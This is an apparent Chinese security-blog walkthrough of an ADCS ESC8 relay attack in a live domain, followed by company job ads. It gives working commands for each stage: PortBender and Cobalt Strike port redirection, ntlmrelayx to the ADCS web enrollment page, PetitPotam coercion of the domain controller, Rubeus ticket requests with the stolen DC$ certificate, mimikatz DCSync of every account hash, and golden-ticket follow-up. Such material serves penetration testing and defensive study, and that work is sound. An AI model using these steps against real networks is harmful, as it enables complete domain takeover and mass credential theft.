STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
ADCS (Active Directory Certificate Services 活动目录证书服务)的HTTP证书接口(certsrv/certfnsh.asp)未启用NTLM中继保护,且在HTTP请求的时候Authorization HTTP头明确允许通过NTLM进行身份验证。
因此可配合 PetitPotam,强制域控机器用户(DC$)向该接口(certsrv/certfnsh.asp)发送 NTLM 身份认证,从而获取到一个为域控机器用户(DC$)生成的证书,使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ),然后 DCSync。后续可考虑利用 krbtgt 帐户的哈希值创建金票等利用手法。
尽管 ADCS 并不是默认安装,但在大型企业域中通常被广泛部署。本文讲述在实战域环境中 ADCS 中继的打法。
大致思路
在 PrintNightmare 漏洞被爆出来之后,有一些企业内网会选择关闭Spooler服务,使得Printerbug失效。PetitPotam 可以指定域内的一台服务器对攻击者选择的目标进行身份验证。而且在低版本(2016以下)的情况下,可以匿名触发。(2016以上的域控需要指定域内的用户及密码触发)。
结合 PetitPotam 与 ESC8,获取为域控机器用户(DC$)生成的证书,使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ),DCSync.
实战中的打法
实战中,中继攻击可能会存在几个问题,比如:
1.目标是 Windows,而在 Windows 上 445 端口是占用的,所以不能直接嗅探该端口传入的流量。
2.大部分情况下,目标 Windows 主机上都是没有一些语言环境的,Impacket工具包无法运行,现装环境的操作太麻烦、遇到的问题太多。
因此,在实战中,可以考虑:使用端口流量的重定向、端口转发、代理来实现攻击操作。
本次实验思路
本次实验使用PortBender工具进行端口流量的重定向。https://github.com/praetorian-inc/PortBender
1.使用 PortBender 将 Win2k8 上面的 445 端口流量重定向到 8445 端口。
2.开启端口转发,将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的 445 端口。
3.攻击者通过 socks5 代理利用 PetitPotam 强制域控向中继机发起机器用户(DC$) NTLM 身份认证。
4.域控发送 DC$ NTLM 身份认证 到中继机。
5.中继机器利用 DC$ NTLM 的身份认证 向 ADCS 申请为 DC$ 颁发证书。
6.ADCS 认证通过,为 DC$ 颁发证书。
7.使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ)。
8.域控返回 TGT。
9.利用 DC$ 的 TGT 进行 DCSync。
10.利用 krbtgt NTLM hash 创建金票等。
具体利用
1. 上传WinDivert32.sys/WinDivert64.sys
拿到目标的 Beacon 后,根据目标版本上传 WinDivert32.sys 或 WinDivert64.sys。
2. 端口流量重定向
使用 PortBender 将 Win2k8 的 445 端口流量全部转发到 Win2k8 的 8445 端口。
注意:PortBender 执行需要管理权限,且需在 WinDivert64.sys 同一目录下执行
PortBender redirect 445 8445
3. 开启端口转发
利用 rportfwd 命令来将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的445端口。
rportfwd [绑定端口] [转发主机] [转发端口]
rportfwd 绑定目标主机上的指定端口(如:8445端口),当此端口(8445端口)有流量连接进来时,Cobalt Strike 将连接到转发的主机/端口(kali:445端口),并使用 Beacon 在两个连接之间中继流量。
此时 Win2k8 445 端口的流量通过重定向,发送给 Win2k8 的 8445 端口,由于端口转发,Win2k8 的 8445 端口流量全部转发到 kali 的 445 端口上。
注:转发到攻击者的 445 端口不能改变,只能为 445(因为 ntlmrelayx.py 监听 445 端口)
rportfwd 8445 192.168.124.3 445
4. 设置 NTLM 中继监听
使用 ntlmrelayx.py 在 kali 上开启 445 端口设置中继监听,以便后续将 DC$ 传来的身份认证(域控机器用户的身份认证)转发到 ADCS 上。或者更具体地说,转发到 ADCS 的 HTTP 接口
http://192.168.1.6/certsrv/certfnsh.asp 以进行证书申请。(因为实战情况下,vps 不通 ADCS ,所以使用 proxychains4 代理来转发至 ADCS)。
proxychains4 ntlmrelayx.py -t http://192.168.1.6/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
-t 将凭据中继到的目标,可以是 IP、主机名或 URL
-smb2support 支持 SMB2
--adcs 启用 AD CS 中继攻击
--template TEMPLATE AD CS 模板。默认为机器或用户, 中继域控应该指定为 "DomainController"
5. 强制 DC$ 对 NTLM 中继机器进行身份验证
使用代理利用 PetitPotm 向域控发送流量,强制 DC (192.168.1.2) 向 Win2k8 (192.168.1.3) 的445端口发起身份认证,当 Win2k8 的 445 端口收到身份认证的流量之后,将会将流量全部重定向到 Win2k8 的 8445 端口,再通过之前开启的端口转发,最终将 Win2k8 的 8445 端口流量全部转发到开启中继监听的 kali (10.11.35.215) 的445端口。
proxychains4 python3 PetitPotam.py 192.168.1.3 192.168.1.2
6. 流量分析
6.1. 来看 Win2k8 的流量包:
强制 DC (192.168.1.2)向中继机器 Win2k8(192.168.1.3) 发起身份认证。
6.2. 先来看正常的 ntlm 认证数据包:
192.168.1.2:49342 ---> 192.168.1.6:445 发起认证
6.3. 再来看 kali 中继的认证数据包:
10.11.34.215:42398 ---> 10.11.35.215:445
能够发现 ip.src 和 ip.dst 都是 kali(TeamServer)10.11.35.215 的自身ip,这是因为 rportfwd 命令造成的。
当 Win2k8 的 8445 端口有流量连接进来时,Cobalt Strike 将连接到转发的 kali 的 445端口,通过 Beacon 在两个连接之间中继流量。
7. 成功获取到证书信息
来看一下攻击过程
1.kali 作为中继者,将 DC$ NTLM 凭据转发到 ADCS (http://192.168.1.6/certsrv/certfnsh.asp) 发起认证。
2.HTTP服务器返回200,视为成功登录。
3.使用DC$ NTLM身份认证验证 http://192.168.1.6 成功。
4.生成 CSR(Certificate Signing Request 证书签名请求)。
5.获取证书。
6.获得 DC$ (域控机器用户)的Base64证书(证书默认有效期为一年)。
如下为ADCS 为 DC机器用户 颁发的证书:
8. 请求 TGT
拿到域控机器用户(DC$) 的证书之后,我们现在可以使用 Rubeus 为 DC$ 机器用户请求 Kerberos TGT(AS_REQ)。
使用 runas /netonly /user:ligang cmd 来创建一个新的 cmd 登陆会话,向其中注入 DC$ TGT 以防止弄乱现有登录会话的 TGT。
Rubeus.exe asktgt /user:dc$ /certificate:"MIIRZQIBAzCCES8GCSqGSIb3He39M=" /ptt
这里的 user 为域控机器用户(DC的机器名$)。
9. 执行 DCSync
mimikatz.exe "lsadump::dcsync /domain:missyou.com /all /csv" exit
10. 结束流量重定向与端口转发
要停止 PortBender,使用 jobs 命令列出正在运行的作业,这将列出作业 ID (JID) 和关联的 PID。
使用 jobkill停止作业,然后再使用 kill关闭生成的进程。
使用 rportfwd stop 8445 关闭端口转发。
RECRUITMENT
招聘启事
安恒雷神众测SRC运营(实习生) 【任职要求】
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
简历投递至
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;
3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
END
长按识别二维码关注我们